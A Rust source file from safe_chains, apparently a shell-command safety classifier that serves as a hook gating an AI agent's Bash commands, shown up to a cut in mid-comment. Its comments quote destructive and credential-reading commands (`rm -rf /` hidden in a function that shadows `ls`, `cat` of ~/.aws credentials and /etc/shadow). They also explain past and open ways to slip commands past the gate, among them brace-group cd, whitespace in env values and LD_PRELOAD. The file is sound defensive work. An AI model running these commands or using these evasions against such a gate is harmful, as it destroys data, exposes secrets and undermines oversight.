Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6thread_local! {
7    /// Total (re-)classifications spent on one top-level `command_verdict`. Delegating handlers
8    /// (`fd -x`, `find -exec`, `xargs`, `sudo`) re-enter here on the wrapped command, and a command
9    /// that NESTS them — `fd a b -x fd c d -x …` — branches multiplicatively (one re-check per
10    /// pre-exec base × per nesting level), i.e. exponentially. This monotonic counter caps the total
11    /// so any such blow-up fails CLOSED (Denied) in bounded time instead of hanging the hook. A depth
12    /// cap alone can't help: 3^depth calls explode long before any depth limit bites.
13    static CLASSIFY_WORK: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
14    static CLASSIFY_DEPTH: std::cell::Cell<u32> = const { std::cell::Cell::new(0) };
15}
16
17/// Far above any real command's handful of delegations (a `&&` chain of 50 `fd -x`s spends ~100),
18/// far below the exponential explosion. Found by the parse fuzzer (`fd -x fd -x …`). Kept modest so
19/// the worst-case CUTOFF is also cheap in wall-clock terms — each unit is a full re-classification
20/// (parse + dispatch), so a high ceiling would let a crafted command burn hundreds of ms in the hook
21/// (and blow the debug-mode timing of `classifier_terminates_on_adversarial_input`).
22const MAX_CLASSIFY_WORK: u32 = 512;
23
24/// RAII budget guard for the classifier recursion. `enter` resets the budget at the OUTERMOST call
25/// and charges one unit per (re-)entry; `None` means the budget is spent and the caller must fail
26/// closed. Depth is bumped only on a successful enter, so it stays balanced with the `Drop`.
27struct ClassifyGuard;
28
29impl ClassifyGuard {
30    fn enter() -> Option<Self> {
31        if CLASSIFY_DEPTH.with(|d| d.get()) == 0 {
32            CLASSIFY_WORK.with(|w| w.set(0));
33        }
34        let spent = CLASSIFY_WORK.with(|w| {
35            let n = w.get().saturating_add(1);
36            w.set(n);
37            n
38        });
39        if spent > MAX_CLASSIFY_WORK {
40            return None;
41        }
42        CLASSIFY_DEPTH.with(|d| d.set(d.get() + 1));
43        Some(ClassifyGuard)
44    }
45}
46
47impl Drop for ClassifyGuard {
48    fn drop(&mut self) {
49        CLASSIFY_DEPTH.with(|d| d.set(d.get().saturating_sub(1)));
50    }
51}
52
53/// Charge `units` of extra work to the shared per-classification budget; `false` once it is spent
54/// and the caller must fail closed.
55///
56/// Brace expansion charges here so its fan-out draws from the SAME pool as delegation and function
57/// resolution. Otherwise the two caps MULTIPLY rather than add: a word may expand to
58/// `BRACE_EXPANSION_CAP` (256) alternatives and each delegated re-classification re-expands it, so
59/// 512 delegations × 256 words is ~131k word checks — seconds of wall clock from a ~200-byte input
60/// (found by the nightly fuzzer as a timeout). Neither cap is unreasonable alone; only their product
61/// is. Charging fan-out here makes the total additive and keeps the worst case bounded.
62pub(crate) fn charge_classify_work(units: u32) -> bool {
63    CLASSIFY_WORK.with(|w| {
64        let n = w.get().saturating_add(units);
65        w.set(n);
66        n <= MAX_CLASSIFY_WORK
67    })
68}
69
70pub fn command_verdict(input: &str) -> Verdict {
71    let Some(_guard) = ClassifyGuard::enter() else {
72        return Verdict::Denied; // classification budget spent — fail closed
73    };
74    let Some(script) = parse(input) else {
75        return Verdict::Denied;
76    };
77    script_verdict(&script)
78}
79
80pub fn is_safe_command(input: &str) -> bool {
81    command_verdict(input).is_allowed()
82}
83
84thread_local! {
85    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
86    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
87    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
88    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
89        const { std::cell::RefCell::new(Vec::new()) };
90    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
91    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
92    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
93    /// than resolving to a stale, more permissive definition.
94    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
95        const { std::cell::RefCell::new(Vec::new()) };
96    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
97    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
98    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
99}
100
101const MAX_FUNC_DEPTH: usize = 32;
102
103/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
104/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
105/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
106const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
107
108struct FuncScope;
109impl Drop for FuncScope {
110    fn drop(&mut self) {
111        FUNCTIONS.with(|f| {
112            f.borrow_mut().pop();
113        });
114    }
115}
116
117fn define_function(name: String, body: Script) -> FuncScope {
118    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
119    FuncScope
120}
121
122fn lookup_function(name: &str) -> Option<Script> {
123    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
124        return None; // body unknown — deny rather than use a stale one
125    }
126    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
127}
128
129/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
130/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
131fn poison_function(name: String) {
132    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
133}
134
135struct ResolveScope;
136impl Drop for ResolveScope {
137    fn drop(&mut self) {
138        RESOLVING.with(|r| {
139            r.borrow_mut().pop();
140        });
141    }
142}
143
144/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
145/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
146/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
147/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
148/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
149fn begin_resolving(name: &str) -> Option<ResolveScope> {
150    let over_budget = CLASSIFY_WORK.with(|w| {
151        let n = w.get().saturating_add(1);
152        w.set(n);
153        n > MAX_CLASSIFY_WORK
154    });
155    if over_budget {
156        return None;
157    }
158    RESOLVING.with(|r| {
159        let mut stack = r.borrow_mut();
160        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
161            None
162        } else {
163            stack.push(name.to_string());
164            Some(ResolveScope)
165        }
166    })
167}
168
169fn script_verdict(script: &Script) -> Verdict {
170    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
171        .into_iter()
172        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
173}
174
175/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
176/// installed, and return the per-statement results.
177///
178/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
179/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
180/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
181///
182/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
183/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
184/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
185/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
186pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
187    let mut running = crate::pathctx::cwd();
188    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
189    let mut _funcs: Vec<FuncScope> = Vec::new();
190    let mut out = Vec::with_capacity(script.0.len());
191    for stmt in &script.0 {
192        out.push({
193            let _cwd = crate::pathctx::enter_cwd(running.clone());
194            per_stmt(stmt)
195        });
196        let effects = shell_effects(&stmt.pipeline);
197        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
198        if next.is_some() {
199            running = next;
200        } else if effects.cwd {
201            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
202            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
203            // relative paths against a directory the shell has left.
204            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
205        }
206        for (name, value) in statement_assignments(&stmt.pipeline) {
207            _vars.push(crate::pathctx::enter_var(name, value));
208        }
209        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
210        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
211        // value wins for that name; a statement handled precisely contributes nothing here.
212        for name in effects.vars {
213            _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
214        }
215        for name in effects.funcs {
216            poison_function(name);
217        }
218        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
219            _funcs.push(define_function(name.clone(), body.clone()));
220        }
221    }
222    out
223}
224
225/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
226/// bound reports a possible effect, which fails closed.
227const MAX_CD_SCAN_DEPTH: usize = 16;
228
229/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
230///
231/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
232/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
233/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
234/// precise handling matches only statement-level forms, so all of those escaped tracking:
235/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
236/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
237/// stale state is the permissive one.
238///
239/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
240/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
241#[derive(Default)]
242struct ShellEffects {
243    cwd: bool,
244    vars: Vec<String>,
245    funcs: Vec<String>,
246}
247
248/// The effects of one statement. Empty for a multi-stage pipeline, whose stages are subshells.
249fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
250    let mut out = ShellEffects::default();
251    if let [only] = pipeline.commands.as_slice() {
252        // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
253        // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
254        // classifier's own work budget exists for. Caught by the termination guard.
255        let mut seen = Vec::new();
256        scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
257    }
258    out
259}
260
261fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
262    let Some(depth) = depth.checked_sub(1) else {
263        out.cwd = true; // out of budget — assume the worst
264        return;
265    };
266    match cmd {
267        Cmd::Simple(s) => {
268            let Some(name) = s.words.first().map(Word::eval) else {
269                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
270            };
271            if name == "cd" {
272                out.cwd = true;
273                return;
274            }
275            // A CALL runs the body in THIS shell, so its effects escape with it.
276            if seen.contains(&name) {
277                return;
278            }
279            if let Some(body) = lookup_function(&name) {
280                seen.push(name);
281                scan_script_effects(&body, depth, seen, out);
282            }
283        }
284        // The two constructs the shell really does isolate, plus forms that run nothing.
285        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
286        Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
287            scan_script_effects(body, depth, seen, out);
288        }
289        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
290            scan_script_effects(cond, depth, seen, out);
291            scan_script_effects(body, depth, seen, out);
292        }
293        Cmd::If { branches, else_body, .. } => {
294            for b in branches {
295                scan_script_effects(&b.cond, depth, seen, out);
296                scan_script_effects(&b.body, depth, seen, out);
297            }
298            if let Some(e) = else_body {
299                scan_script_effects(e, depth, seen, out);
300            }
301        }
302        Cmd::Case { arms, .. } => {
303            for a in arms {
304                scan_script_effects(&a.body, depth, seen, out);
305            }
306        }
307    }
308}
309
310/// Every statement of a body that the shell would run in the current shell: its assignments and
311/// function definitions rebind here, and its commands are scanned in turn.
312fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
313    for st in &script.0 {
314        for (name, _) in statement_assignments(&st.pipeline) {
315            out.vars.push(name);
316        }
317        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
318            out.funcs.push(name.clone());
319        }
320        if let [only] = st.pipeline.commands.as_slice() {
321            scan_effects(only, depth, seen, out);
322        }
323    }
324}
325
326/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
327/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
328fn cd_target(pipeline: &Pipeline) -> Option<String> {
329    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
330        return None;
331    };
332    if s.words.first()?.eval() != "cd" {
333        return None;
334    }
335    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
336}
337
338/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
339/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
340/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
341/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
342fn read_loop_vars(cond: &Script) -> Vec<String> {
343    let [stmt] = cond.0.as_slice() else {
344        return Vec::new();
345    };
346    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
347        return Vec::new();
348    };
349    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
350    if words.first().map(String::as_str) != Some("read") {
351        return Vec::new();
352    }
353    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
354}
355
356/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
357/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
358/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
359/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
360fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
361    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
362        return Vec::new();
363    };
364    if !s.words.is_empty() {
365        return Vec::new();
366    }
367    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
368}
369
370/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
371/// `$refs` against the current scope first, then requires no residual `$` and no substitution
372/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
373fn certain_value(word: &Word) -> String {
374    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
375    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
376    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
377    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
378    if raw.contains('$') || is_opaque_value(&raw) {
379        UNCERTAIN_VALUE.to_string()
380    } else {
381        raw
382    }
383}
384
385/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
386/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
387/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
388pub(crate) fn is_opaque_value(raw: &str) -> bool {
389    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
390        .iter()
391        .any(|m| raw.contains(m))
392}
393
394#[cfg(test)]
395pub(crate) fn is_safe_script(script: &Script) -> bool {
396    script_verdict(script).is_allowed()
397}
398
399pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
400    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
401    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
402    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
403    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
404    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
405    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
406    let mut stream: Option<String> = None;
407    for cmd in &pipeline.commands {
408        let _stdin = stream.clone().map(crate::pathctx::enter_stdin_repr);
409        acc = acc.combine(cmd_verdict(cmd));
410        stream = Some(stage_output_repr(cmd, stream.as_deref()));
411    }
412    acc
413}
414
415/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
416/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
417/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
418/// must deny in BOTH gate layers.
419const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
420
421/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
422/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
423/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
424/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
425fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
426    let Cmd::Simple(s) = cmd else {
427        return UNKNOWN_ITEM.to_string();
428    };
429    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
430    let Some(first) = words.first() else {
431        return UNKNOWN_ITEM.to_string();
432    };
433    let name = Token::from_raw(first.clone()).command_name().to_string();
434    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
435    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
436    match name.as_str() {
437        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
438        //
439        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
440        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
441        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
442        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
443        // not be written, so a read-face test could never see it.
444        "find" | "fd" | "fdfind" => {
445            let roots = find_roots(&args);
446            let base = roots
447                .iter()
448                .max_by_key(|r| {
449                    let (read, write) = (
450                        crate::engine::resolve::locus::read_locus(r),
451                        crate::engine::resolve::locus::write_locus(r),
452                    );
453                    read.max(write)
454                })
455                .copied()
456                .unwrap_or(".");
457            format!("{}/sc_item", base.trim_end_matches('/'))
458        }
459        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
460        "ls" => {
461            if args.contains(&"-d") {
462                worst_arg_repr(&args)
463            } else {
464                "sc_item".to_string()
465            }
466        }
467        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
468        "echo" | "printf" => worst_arg_repr(&args),
469        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
470        "git" => match args.first() {
471            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
472            _ => UNKNOWN_ITEM.to_string(),
473        },
474        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
475        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
476        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
477        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
478        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
479        "head" | "tail"
480            if !reads_a_file_after_count(&args)
481                && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) =>
482        {
483            through()
484        }
485        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
486        "tee" => through(),
487        _ => UNKNOWN_ITEM.to_string(),
488    }
489}
490
491/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
492/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
493/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
494/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
495/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
496fn reads_a_file(args: &[&str]) -> bool {
497    args.iter().any(|a| {
498        (!a.starts_with('-') && *a != "-")
499            || *a == "--files0-from"
500            || a.starts_with("--files0-from=")
501    })
502}
503
504/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
505/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
506fn reads_a_file_after_count(args: &[&str]) -> bool {
507    let mut i = 0;
508    while i < args.len() {
509        let a = args[i];
510        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
511            i += 2; // flag + its value
512            continue;
513        }
514        if a.starts_with('-') || a == "-" {
515            i += 1;
516            continue;
517        }
518        return true; // a bare positional → a file operand
519    }
520    false
521}
522
523/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
524/// a granted dir), so paths derived from it are safe operands.
525fn source_ok(path: &str) -> bool {
526    crate::engine::resolve::read_content_verdict(path).is_allowed()
527}
528
529/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
530/// whose read is denied, else a worktree placeholder.
531fn worst_arg_repr(args: &[&str]) -> String {
532    args.iter()
533        .filter(|a| !a.starts_with('-'))
534        .find(|a| !source_ok(a))
535        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
536}
537
538/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
539/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
540fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
541    let mut i = 0;
542    while i < args.len() {
543        match args[i] {
544            "-H" | "-L" | "-P" => i += 1,
545            "-D" | "-O" => i += 2,
546            _ => break,
547        }
548    }
549    let mut roots = Vec::new();
550    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
551        roots.push(args[i]);
552        i += 1;
553    }
554    if roots.is_empty() {
555        roots.push(".");
556    }
557    roots
558}
559
560pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
561    pipeline_verdict(pipeline).is_allowed()
562}
563
564pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
565    match cmd {
566        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
567        _ => true,
568    }
569}
570
571fn has_any_substitution(cmd: &SimpleCmd) -> bool {
572    cmd.words.iter().any(has_substitution)
573        || cmd.env.iter().any(|(_, v)| has_substitution(v))
574}
575
576/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
577///
578/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
579/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
580/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
581/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
582/// matcher, and quietly redundant here.
583///
584/// The rule must describe the command as TYPED. That is not a judgement about which variable names
585/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
586/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
587/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
588///
589/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
590/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
591/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
592/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
593/// nothing".
594///
595/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
596/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
597/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
598/// the rest of a pattern lets a rule for one program match a different one —
599/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
600/// only honest answer; the alternative is a rule that silently covers a program it never named.
601///
602/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
603/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
604/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
605/// the program is the first word either way.
606pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
607    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
608    for (name, value) in &cmd.env {
609        let value = value.eval();
610        if value.chars().any(char::is_whitespace) {
611            return None;
612        }
613        parts.push(format!("{name}={value}"));
614    }
615    parts.extend(cmd.words.iter().map(|w| w.eval()));
616    Some(parts.join(" "))
617}
618
619pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
620    match cmd {
621        Cmd::Simple(s) => simple_verdict(s),
622        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
623            let body_v = script_verdict(body);
624            if let Verdict::Denied = body_v {
625                return Verdict::Denied;
626            }
627            let redir_v = redirect_verdict(redirs);
628            if let Verdict::Denied = redir_v {
629                return Verdict::Denied;
630            }
631            body_v.combine(redir_v)
632        }
633        Cmd::For { var, items, body, redirs } => {
634            let redir_v = redirect_verdict(redirs);
635            if let Verdict::Denied = redir_v {
636                return Verdict::Denied;
637            }
638            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
639            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
640            // fail-closing on the bare `$f`.
641            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
642            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
643                Some((read_repr, write_repr)) => {
644                    let _g = crate::pathctx::enter_loop_var(var.clone(), read_repr, write_repr);
645                    script_verdict(body)
646                }
647                None => script_verdict(body),
648            };
649            words_sub_verdict(items).combine(body_v).combine(redir_v)
650        }
651        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
652            let redir_v = redirect_verdict(redirs);
653            if let Verdict::Denied = redir_v {
654                return Verdict::Denied;
655            }
656            let cond_v = script_verdict(cond);
657            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
658            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
659            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
660            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
661            let _binds: Vec<crate::pathctx::LoopGuard> = match crate::pathctx::stdin_item_repr() {
662                Some(repr) => read_loop_vars(cond)
663                    .into_iter()
664                    .map(|v| crate::pathctx::enter_loop_var(v, repr.clone(), repr.clone()))
665                    .collect(),
666                None => Vec::new(),
667            };
668            cond_v.combine(script_verdict(body)).combine(redir_v)
669        }
670        Cmd::If {
671            branches,
672            else_body,
673            redirs,
674        } => {
675            let redir_v = redirect_verdict(redirs);
676            if let Verdict::Denied = redir_v {
677                return Verdict::Denied;
678            }
679            let mut v = redir_v;
680            for b in branches {
681                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
682            }
683            if let Some(eb) = else_body {
684                v = v.combine(script_verdict(eb));
685            }
686            v
687        }
688        Cmd::DoubleBracket { words, redirs } => {
689            words_sub_verdict(words).combine(redirect_verdict(redirs))
690        }
691        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
692        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
693        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
694        Cmd::Case { subject, arms, redirs } => {
695            let redir_v = redirect_verdict(redirs);
696            if let Verdict::Denied = redir_v {
697                return Verdict::Denied;
698            }
699            let mut v = redir_v.combine(word_sub_verdict(subject));
700            for arm in arms {
701                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
702            }
703            v
704        }
705        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
706        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
707        // definition never denies on its body.
708        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
709    }
710}
711
712pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
713    cmd_verdict(cmd).is_allowed()
714}
715
716fn part_sub_verdict(part: &WordPart) -> Verdict {
717    match part {
718        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
719        WordPart::Backtick(raw) => command_verdict(raw),
720        WordPart::DQuote(inner) => word_sub_verdict(inner),
721        _ => Verdict::Allowed(SafetyLevel::Inert),
722    }
723}
724
725fn word_sub_verdict(word: &Word) -> Verdict {
726    word.0.iter()
727        .map(part_sub_verdict)
728        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
729}
730
731fn words_sub_verdict(words: &[Word]) -> Verdict {
732    words.iter()
733        .map(word_sub_verdict)
734        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
735}
736
737#[cfg(test)]
738pub(crate) fn word_subs_safe(word: &Word) -> bool {
739    word_sub_verdict(word).is_allowed()
740}
741
742fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
743    let redir_v = redirect_verdict(&cmd.redirs);
744    if let Verdict::Denied = redir_v {
745        return Verdict::Denied;
746    }
747
748    let env_sub_v = cmd.env.iter()
749        .map(|(_, v)| word_sub_verdict(v))
750        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
751    let word_sub_v = words_sub_verdict(&cmd.words);
752
753    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
